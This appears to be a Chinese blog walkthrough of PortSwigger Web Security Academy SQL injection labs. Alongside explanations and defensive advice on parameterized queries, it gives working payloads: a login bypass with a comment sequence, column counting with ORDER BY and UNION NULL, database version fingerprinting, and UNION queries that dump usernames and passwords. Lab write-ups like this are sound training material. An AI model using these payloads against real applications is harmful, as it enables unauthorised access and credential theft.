PortSwigger Web Security Academy lab SQL注入

PortSwigger Web Security Academy lab SQL注入

目录导航

什么是 SQL 注入?

SQL 注入(或 SQLi)是导致许多备受瞩目的数据泄露的严重漏洞。

SQL 注入通常允许攻击者从易受攻击的网站中提取整个数据库,包括用户信息、加密密码和业务数据。这随后可能导致用户帐户遭到大规模泄露,数据被加密并勒索赎金,或者被盗数据被出售给第三方。使用现成的工具可以很容易地发现和滥用许多 SQL 注入漏洞,这使得它们比需要熟练攻击者的漏洞更容易被利用。

当应用程序以不安全的方式将用户数据合并到数据库查询中时,通常会出现 SQL 注入漏洞。攻击者可以操纵数据来执行他们自己的数据库查询,从而允许他们读取或修改数据库的内容。

成为 SQL 注入攻击受害者的组织通常不知道该漏洞已被利用。在某些情况下,受害者在被攻击者利用来窃取组织数据的几个月或几年后才意识到漏洞。

SQL 注入是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而导致应用程序的内容或行为发生持续变化。

在某些情况下,攻击者可以升级 SQL 注入攻击以破坏底层服务器或其他后端基础架构,或执行拒绝服务攻击。

描述:SQL注入

当用户可控的数据以不安全的方式并入数据库 SQL 查询时,就会出现 SQL 注入漏洞。攻击者可以提供精心设计的输入以突破其输入出现的数据上下文并干扰周围查询的结构。

通常可以通过 SQL 注入进行广泛的破坏性攻击,包括读取或修改关键应用程序数据、干扰应用程序逻辑、升级数据库内的权限以及控制数据库服务器。

PortSwigger Web Security Academy lab SQL注入

补救措施:SQL注入

防止 SQL 注入攻击的最有效方法是对所有数据库访问使用参数化查询(也称为准备语句)。此方法使用两个步骤将可能被污染的数据合并到 SQL 查询中:首先,应用程序指定查询的结构,为每个用户输入项留下占位符;其次,应用程序指定每个占位符的内容。因为在第一步中已经定义了查询的结构,所以第二步中的畸形数据是不可能干扰到查询结构的。您应该查看您的数据库和应用程序平台的文档,以确定可用于执行参数化查询的适当 API。强烈建议您参数化每个合并到数据库查询中的可变数据项,即使它没有明显受到污染,以防止发生疏忽并避免应用程序代码库中其他地方的更改引入的漏洞。

您应该知道,针对 SQL 注入漏洞的一些常用和推荐的缓解措施并不总是有效的:

  • 一种常见的防御措施是在将该输入合并到 SQL 查询之前将出现在用户输入中的任何单引号加倍。这种防御旨在防止格式错误的数据终止插入它的字符串。但是,如果查询中包含的数据是数字的,那么防御可能会失败,因为数字数据可能没有被封装在引号中,在这种情况下,只需要一个空格来打破数据上下文并干扰查询。此外,在二阶 SQL 注入攻击中,最初插入数据库时​​已安全转义的数据随后会从数据库中读取,然后再次传回给它。当数据被重用时,最初被加倍的引号将恢复到原来的形式,从而绕过防御。
  • 另一个经常被引用的防御是使用存储过程进行数据库访问。虽然存储过程可以提供安全优势,但不能保证它们可以防止 SQL 注入攻击。如果任何 SQL 是在存储过程中动态构建的,则可能会出现在标准动态 SQL 查询中出现的相同类型的漏洞。此外,即使该过程是健全的,如果使用用户可控数据以不安全的方式调用该过程,也会出现 SQL 注入。

成功的 SQL 注入攻击有什么影响?

成功的 SQL 注入攻击可能导致未经授权访问敏感数据,例如密码、信用卡详细信息或个人用户信息。近年来,许多备受瞩目的数据泄露事件都是 SQL 注入攻击的结果,导致声誉受损和监管罚款。在某些情况下,攻击者可以获得进入组织系统的持久后门,从而导致长期危害,而这种危害可能会在很长一段时间内被忽视。

SQL 注入示例

在不同的情况下会出现各种各样的 SQL 注入漏洞、攻击和技术。一些常见的 SQL 注入示例包括:

检索隐藏数据

考虑一个显示不同类别产品的购物应用程序。当用户点击礼物类别时,他们的浏览器会请求 URL:

https://insecure-website.com/products?category=Gifts

这会导致应用程序进行 SQL 查询以从数据库中检索相关产品的详细信息:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

此 SQL 查询要求数据库返回:

  • 所有详细信息 (*)
  • 来自产品表
  • 其中类别是Gifts
  • 并且released 为 1。

该限制released = 1用于隐藏未发布的产品。对于未发布的产品,大概是released = 0.

该应用程序没有实施任何针对 SQL 注入攻击的防御措施,因此攻击者可以构建如下攻击:

https://insecure-website.com/products?category=Gifts'--

这将导致 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

这里的关键是双破折号序列--是 SQL 中的注释指示符,意味着查询的其余部分被解释为注释。这有效地删除了查询的其余部分,因此它不再包括AND released = 1. 这意味着显示所有产品,包括未发布的产品。

更进一步,攻击者可以使应用程序显示任何类别的所有产品,包括他们不知道的类别:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

这将导致 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

修改后的查询将返回类别为Gifts或 1 等于 1 的所有项目。由于1=1始终为真,因此查询将返回所有项目.

PortSwigger sql注入靶场

WHERE 子句中允许检索隐藏数据的SQL注入漏洞

靶场地址

sql-injection/lab-retrieve-hidden-data

靶场说明

目标:将所有已经发布和未发布的产品所有显示出来

本实验室在产品类别过滤器中包含一个SQL 注入漏洞。当用户选择一个类别时,应用程序执行如下 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

要解决实验室问题,请执行 SQL 注入攻击,导致应用程序显示任何类别的所有产品的详细信息,包括已发布和未发布的产品。

①我们点击Gifts,页面显示是这样的:
PortSwigger Web Security Academy lab SQL注入

网页上显示的是:

https://ac0e1fd11f5b4e83c00e2c3d00850013.web-security-academy.net/filter?category=Gifts

实际上在后台数据库执行的如下所示的命令:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

简单翻译过来就是从产品里面选一个类别为Gifts的列表出来,并且是已经发布的.

②现在我们尝试将Gifts改成
https://ac0e1fd11f5b4e83c00e2c3d00850013.web-security-academy.net/filter?category='

页面出现Internal Server Error错误

PortSwigger Web Security Academy lab SQL注入

我们猜测:实际上在后台数据库执行的如下所示的命令:

SELECT * FROM products WHERE category = ''' AND released = 1

因为'构成语法错误.所以网页直接报错.(一般也可以使用'来作为是否已存在sql注入的检测payload).

③验证猜想,构造payload

为了验证我们的猜测,如果猜想正确不让网页报错,我们使用注释符--来将后面的'注释掉,网页会正常显示.

mysql注释符有# ,-- (有空格)、/**/三种.

所以我们构造的的payload如下所示:

SELECT * FROM products WHERE category = ''--' AND released = 1

url如下所示:

https://ac261fe11fc791fbc081175c00280020.web-security-academy.net/filter?category='--

网页显示内容正常,猜测正确.

PortSwigger Web Security Academy lab SQL注入
④读取所有已发布和未发布的类别列表:

现在我们知道了大体的sql注入原理,所以可以开始构造sql注入读取所有发布和未发布的类别产品的payload.

SELECT * FROM products WHERE category = '' or 1=1 --' AND released = 1

简单翻译过来就是从产品中选择所有行,类别等于其中任意一个,空或者条件语句 1=1 (始终为真),所以它会显示表中的所有行.

所以最终我们的payload显示在url中如下所示:

https://ac621fcd1e62bd82c01d5aac00100066.web-security-academy.net/filter?category=' or 1=1 --
PortSwigger Web Security Academy lab SQL注入
成功读取所有类别,sql注入成功.

允许绕过登录的SQL注入漏洞

颠覆应用逻辑

考虑一个允许用户使用用户名和密码登录的应用程序。如果用户提交用户名wiener和密码bluecheese,应用程序通过执行以下 SQL 查询来检查凭据:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

如果查询返回用户的详细信息,则登录成功。否则,登陆被拒绝。

在这里,攻击者只需使用 SQL 注释序列--从查询子句中WHERE删除密码检查,即可以任何没有密码的用户身份登录。例如,提交用户名administrator'--和空白密码会导致以下查询:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

此查询返回用户名是用户administrator,最终成功地将攻击者作为该用户登录。

靶场地址

sql-injection/lab-login-bypass

①点击登录
PortSwigger Web Security Academy lab SQL注入
②测试注入是否存在

我们在用户名窗口输入',密码随便输入123456,看看能否让服务器报错(构造错误的sql语法测试).

PortSwigger Web Security Academy lab SQL注入

服务器报错:

PortSwigger Web Security Academy lab SQL注入

说明其可能存在sql注入,我们刚才构造的的sql语法应该类似如下所示:

SELECT * FROM users WHERE username = ''' AND password = '123456'
③构造sql payload然后密码检测直接登录服务器
SELECT * FROM users WHERE username = 'administrator'--' AND password = '123456'

简单翻译过来就是从users表中选择用户名为administrator的用户,然后后面的语句被–‘全部注释掉了,且不要显示报错的信息,结果就是,sql语句本来需要去核查这个用户名+密码的,但现在只需要核查用户名,只要用户名匹配就成功登录了,这就是逻辑漏洞,sql注入绕过密码直接登录的方式.

payload在页面上显示出来如下所示:

PortSwigger Web Security Academy lab SQL注入

sql注入成功,已经成功登录网站:

PortSwigger Web Security Academy lab SQL注入

从其他数据库表中检索数据

在应用程序响应中返回 SQL 查询结果的情况下,攻击者可以利用 SQL 注入漏洞从数据库中的其他表中检索数据。这是使用UNION关键字完成的,它允许您执行附加SELECT查询并将结果附加到原始查询。

例如,如果应用程序执行以下包含用户输入“Gifts”的查询:

SELECT name, description FROM products WHERE category = 'Gifts'

然后攻击者可以提交输入:

' UNION SELECT username, password FROM users--

这将导致应用程序返回所有用户名和密码以及产品的名称和描述。

SQL注入UNION攻击

当应用程序易受 SQL 注入攻击并且查询结果在应用程序的响应中返回时,该UNION关键字可用于从数据库中的其他表中检索数据。这会导致 SQL 注入 UNION 攻击。

UNION关键字允许您执行一个或多个附加SELECT查询并将结果附加到原始查询。例如:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

此 SQL 查询将返回具有两列的单个结果集,其中包含来自列abtable1以及列cdtable2的值。

要使UNION查询正常工作,必须满足两个关键要求:

  • 各个查询必须返回相同数量的列。
  • 每列中的数据类型必须在各个查询之间兼容。

要进行 SQL 注入 UNION 攻击,您需要确保您的攻击满足这两个要求。这通常涉及弄清楚:

  • 原始查询返回了多少列?
  • 从原始查询返回的哪些列具有合适的数据类型来保存注入查询的结果?

确定 SQL 注入 UNION 攻击所需的列数

在执行 SQL 注入 UNION 攻击时,有两种有效的方法可以确定从原始查询返回的列数。

第一种方法涉及注入一系列ORDER BY子句并递增指定的列索引,直到发生错误。例如,假设注入点是WHERE原始查询子句中的一个带引号的字符串,您将提交:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
等等

这一系列有效负载修改了原始查询,以按结果集中的不同列对结果进行排序。子句中的列ORDER BY可以由其索引指定,因此您不需要知道任何列的名称。当指定的列索引超过结果集中的实际列数时,数据库返回错误,如:

The ORDER BY position number 3 is out of range of the number of items in the select list.

应用程序实际上可能在其 HTTP 响应中返回数据库错误,或者它可能返回一般错误,或者只是不返回任何结果。如果您可以检测到应用程序响应中的一些差异,您就可以推断查询返回了多少列。

第二种方法涉及提交一系列UNION SELECT指定不同数量的空值的有效负载:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
等等

如果空值数与列数不匹配,则数据库返回错误,例如:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

同样,应用程序实际上可能会返回此错误消息,或者可能只是返回一般错误或没有结果。当空值数与列数匹配时,数据库会在结果集中返回一个附加行,每列包含空值。对生成的 HTTP 响应的影响取决于应用程序的代码。如果幸运的话,您会在响应中看到一些额外的内容,例如 HTML 表格上的额外行。否则,空值可能会触发不同的错误,例如NullPointerException. 在最坏的情况下,响应可能与由不正确的空值数引起的响应无法区分,从而使这种确定列计数的方法无效。

SQL注入UNION攻击,确定查询返回的列数

靶场地址:

sql-injection/union-attacks/lab-determine-number-of-columns

靶场说明

本实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整的攻击。

要解决该实验,请通过执行SQL 注入 UNION攻击来确定查询返回的列数,该攻击返回包含空值的附加行。

①sql知识介绍

table1和table2中可能有列a,b和c,d,我们现在要判断到底有几列.

table1    table2
a | b     c | d
------    ------
1 , 2     5 , 6
3 , 4     7 , 8

比如我们执行如下命令:

SELECT a,b FROM table1  UNION SELECT c, d FROM table2

显示出来的数据就是

1,2
3,4
5,6
7,8
②测试是否存在注入

打开靶场,选择Gifts

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts

先测试是否有注入:(在最后面加上')

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts'
PortSwigger Web Security Academy lab SQL注入
服务器报错

再加上'-- 看看服务器是否正常:

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts'--
PortSwigger Web Security Academy lab SQL注入
页面正常,说明存在sql注入
③使用union进行查询有多少列

payload如下:

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts' union select null--

返回结果如下:(服务器错误)

PortSwigger Web Security Academy lab SQL注入

接下来我们要做的事就是继续添加null,直到服务器显示正常.

现在再添加一个null,

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts' union select null,null--
PortSwigger Web Security Academy lab SQL注入

服务器依然显示错误,就继续添加null,

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts' union select null,null,null--
PortSwigger Web Security Academy lab SQL注入

现在服务器正常,添加了三个null,说明有三列.

④使用order by进行查询有多少列

payload如下:

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts' order by 1--
PortSwigger Web Security Academy lab SQL注入

页面显示正常

接下里把1改成2再测试:

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts' order by 2--
PortSwigger Web Security Academy lab SQL注入

页面依然正常,然后我们继续修改数字为3,直到页面出现错误.

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts' order by 3--
PortSwigger Web Security Academy lab SQL注入

页面依然正常,然后我们继续修改数字为4,直到页面出现错误.

https://ac971f821f538284c06a679100b70052.web-security-academy.net/filter?category=Gifts' order by 4--
PortSwigger Web Security Academy lab SQL注入

页面报错,证明4列是不存在的,所以数据库有3列.

⑤简单分析

我们直接看页面显示的列表数目:

PortSwigger Web Security Academy lab SQL注入

可以看到有产品和价格两列,一般接触过数据库就会知道,应该还有一个id,所以以后遇到这样的直接猜测3列,在原来的显示的列数上直接加上一测试,从3个null开始测,或者order by 3–开始检测,可以节省时间.

⑥总结

使用 ' UNION select null-- 测试时,一直添加null,直到页面显示正常,有几个null就是有几列:

' UNION select null--
' UNION select null,null--
' UNION select null,null,null--
' UNION select null,null,null,null--
' UNION select null,null,null,null,null--
等等,直到页面正常显示不报错.

使用' order by 1--进行测试时,一直修改数字为1,2,3,4,5,6,7,……….直到页面显示错误,此时用数字减去1就是有几列.

' order by 1--
' order by 2--
' order by 3--
' order by 4--
' order by 5--
' order by 6--
等等,直到页面报错,用此时的数字减去1就是有几列.
⑦备注
  • NULL使用as 从注入查询返回的值 的原因SELECT是每列中的数据类型必须在原始查询和注入查询之间兼容。由于NULL可以转换为每种常用的数据类型,NULL因此当列数正确时,使用可以最大限度地提高有效负载成功的机会。
  • 在 Oracle 上,每个SELECT查询都必须使用FROM关键字并指定一个有效的表。Oracle 上有一个名为dual的内置表可用于此目的。因此,Oracle 上的注入查询需要如下所示:' UNION SELECT NULL FROM DUAL--
  • 所描述的有效负载使用双破折号注释序列--来注释掉注入点之后的原始查询的其余部分。在 MySQL 上,双破折号序列后面必须跟一个空格。或者,可以使用 哈希字符#来标识评论。

在 SQL 注入 UNION 攻击中查找具有有用数据类型的列

执行 SQL 注入 UNION 攻击的原因是能够从注入的查询中检索结果。通常,您要检索的感兴趣的数据都是字符串形式的,因此您需要在原始查询结果中找到数据类型为字符串数据或与字符串数据兼容的一列或多列。

已经确定了所需列的数量后,您可以通过提交一系列UNION SELECT将字符串值依次放入每列的有效负载来探测每列以测试它是否可以保存字符串数据。例如,如果查询返回四列,您将提交:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

如果某列的数据类型与字符串数据不兼容,则注入查询会导致数据库错误,例如:

Conversion failed when converting the varchar value 'a' to data type int.

如果没有发生错误,并且应用程序的响应包含一些附加内容,包括注入的字符串值,则相关列适用于检索字符串数据。

SQL注入UNION攻击,查找包含文本的列

靶场地址

sql-injection/union-attacks/lab-find-column-containing-text

靶场说明

本实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构造这样的攻击,首先需要确定查询返回的列数。您可以使用您在之前的实验室中学到的技术来做到这一点。下一步是识别与字符串数据兼容的列。

实验室将提供您需要在查询结果中显示的随机值。要解决该实验,请执行SQL 注入 UNION攻击,该攻击会返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。

①流程
  • 测试是否存在注入点(''--[报错与否])
  • 测试有几列(' union select null-- 或者' order by 1-- [不报错/报错-1])
②兼容性测试

将每一列(column)的null替换成字母看哪一个不报错

' union select 'a',null,null--

在这个网页上完整的后台sql查询类型应该是类似这样的:

select a,b,c from table union select null,null,'a'
PortSwigger Web Security Academy lab SQL注入
https://ac141f7a1ee1f685c0a43d7100d90080.web-security-academy.net/filter?category=Gifts' union select 'a',null,null--

继续尝试:

' union select null,'a',null--
https://ac141f7a1ee1f685c0a43d7100d90080.web-security-academy.net/filter?category=Gifts' union select null,'a',null--
PortSwigger Web Security Academy lab SQL注入

网页未报错,第二列有字母存在.

可以继续测试第三列:

' union select null,null,'a'--
PortSwigger Web Security Academy lab SQL注入
https://ac141f7a1ee1f685c0a43d7100d90080.web-security-academy.net/filter?category=Gifts' union select null,null,'a'--

其实也很好分辨,第一列id的话就是一些数字,第二列显示出来有字母,第三列是价格.

③答题

现在确认了第二列中存在字母,我们直接把第二列中的a替换为题目给定的WYNZ5Z即可.

https://ac141f7a1ee1f685c0a43d7100d90080.web-security-academy.net/filter?category=Gifts' union select null,'WYNZ5Z',null--
PortSwigger Web Security Academy lab SQL注入
④总结

根据报错与否确定列的类型,比如是整数型,字母

可以根据网页相关显示直接猜测其列的类型.

使用 SQL 注入 UNION 攻击来检索有趣的数据

当您确定了原始查询返回的列数并找到了哪些列可以保存字符串数据时,您就可以检索感兴趣的数据了。

假设:

  • 原始查询返回两列,两列都可以保存字符串数据。
  • 注入点是WHERE子句中带引号的字符串。
  • 该数据库包含一个名为users的表,其列是usernamepassword.

在这种情况下,您可以通过提交输入 users来检索表的内容:

' UNION SELECT username, password FROM users--

当然,执行此攻击所需的关键信息是有一个名为users  的表,其中有两列名为usernamepassword如果没有这些信息,您将只能尝试猜测表和列的名称。事实上,所有现代数据库都提供了检查数据库结构的方法,以确定它包含哪些表和列。

SQL注入UNION攻击,从其他表中检索数据

靶场地址

sql-injection/union-attacks/lab-retrieve-data-from-other-tables

靶场说明

本实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,您需要结合您在之前的实验室中学到的一些技术。

该数据库包含一个名为users 的不同表,其中的列名为usernamepassword

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录

①流程
  • 测试是否存在注入点(''--[报错与否])
  • 测试有几列(' union select null-- 或者' order by 1-- [不报错/报错-1])
  • 测试每一列的文本到底是什么?数字?整数?字母文本?(null依次替换为字母(不报错))
②现在确认了两列都是字母文本
https://acdd1f701e98dcc2c0f64d2f00e100f4.web-security-academy.net/filter?category=Gifts' union select 'ddosi','org'--
PortSwigger Web Security Academy lab SQL注入
③获取账号密码
https://acdd1f701e98dcc2c0f64d2f00e100f4.web-security-academy.net/filter?category=Gifts' union select username,password from users--
PortSwigger Web Security Academy lab SQL注入
④点击右上角的my account登录
PortSwigger Web Security Academy lab SQL注入

在单个列中检索多个值

在前面的示例中,假设查询仅返回单个列。

通过将这些值连接在一起,您可以轻松地在该单列中同时检索多个值,理想情况下包括一个合适的分隔符,以便您区分组合值。例如,在 Oracle 上,您可以提交输入:

' UNION SELECT username || '~' || password FROM users--

这使用双管道序列||,它是 Oracle 上的字符串连接运算符。注入的查询将usernamepassword字段的值连接在一起,由~字符分隔。

查询结果将让您读取所有用户名和密码,例如:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

请注意,不同的数据库使用不同的语法来执行字符串连接。有关更多详细信息,请参阅SQL 注入备忘单

SQL注入UNION攻击,单列检索多个值

靶场地址:

union-attacks/lab-retrieve-multiple-values-in-single-column

靶场说明

本实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果会在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该数据库包含一个名为 users的不同表,其中的列名为usernamepassword

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。

①流程
  • 测试是否存在注入点(''--[报错与否])
  • 测试有几列(' union select null-- 或者' order by 1-- [不报错/报错-1])
  • 测试每一列的文本到底是什么?数字?整数?字母文本?(null依次替换为字母(不报错))
  • 只显示一列的情况下如何只执行一次命令将所有的账号密码一次性显示出来?
②经测试只显示一列数据:

1:报错

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'

2:不报错

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'--

3:测试有几列:

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets' union select null--

报错

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets' union select null,null--

不报错,证明存在两列

或者使用order by也是一样的(数字-1=列数)

4:测试包含文本的列:

第一列报错,不存在字符串:

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets' union select 'a',null--

第二列正常,存在字符串:

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets' union select null,'a'--
PortSwigger Web Security Academy lab SQL注入
③分析

目前只有一列会显示出数据,但是我们需要账号密码两列的数据,一次性是不可能全部显示出来的.

方法A: 一次读取一个列的东西,执行两次命令

读取用户名:

'union select null,username from users--

完整的url为:

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'union select null,username from users--
PortSwigger Web Security Academy lab SQL注入

读取密码:

'union select null,password from users--

完整的url为:

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'union select null,password from users--
PortSwigger Web Security Academy lab SQL注入

然后按照一一对应的关系进行排列即可直到每个账号对应的密码:

方法B: 一次性读取用户名+密码

因为每个数据库对应的命令不一样,我们现在并不清楚数据库用的是什么.oracle?PostgreSQL?mysql?

所以接下来就需要引入一个列表来进行判断数据库是什么,然后再根据相应的数据库命令进行操作:

④判断数据库版本

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。

OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

因为我们不知道数据库到底是哪个,所以只能一个一个测试:

测试是否为oracle:

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'union select null,banner FROM v$version--
PortSwigger Web Security Academy lab SQL注入
https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'union select null,version FROM v$instance--
PortSwigger Web Security Academy lab SQL注入

测试结果:服务器报错,并非oracle数据库.

测试是否为Microsoft数据库:

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'union select null,@@version--
PortSwigger Web Security Academy lab SQL注入

也不是Microsoft数据库.

测试是否为PostgreSQL

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'union select null,version()--

结果显示为PostgreSQL数据库

PortSwigger Web Security Academy lab SQL注入
PostgreSQL 12.10 (Ubuntu 12.10-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit
⑤使用PostgreSQL数据库的命令获取两个列:

数据库连接字符串

您可以将多个字符串连接在一起形成一个字符串。

Oracle'foo'||'bar'
Microsoft'foo'+'bar'
PostgreSQL'foo'||'bar'
MySQL'foo' 'bar'[注意两个字符串之间的空格]
CONCAT('foo','bar')

因为是PostgreSQL,现在我们选择||

payload如下:

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'union select null,username || password from users--

现在用户名密码已经出来了,但是连在了一起,不方便我们查看,

PortSwigger Web Security Academy lab SQL注入

所以我们使用下面的payload来将用户名密使用*分开码分开:

https://acd81f221e937517c0f20e2c00c5006c.web-security-academy.net/filter?category=Pets'union select null,username || '*' || password from users--
PortSwigger Web Security Academy lab SQL注入

当然,也可以使用别的字符,例如_

https://ac011fa61e2dea4bc0800474000800c0.web-security-academy.net/filter?category=Gifts' union select null,username || '___' || password from users--
PortSwigger Web Security Academy lab SQL注入
⑥使用administrator的密码登录即可.
PortSwigger Web Security Academy lab SQL注入

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注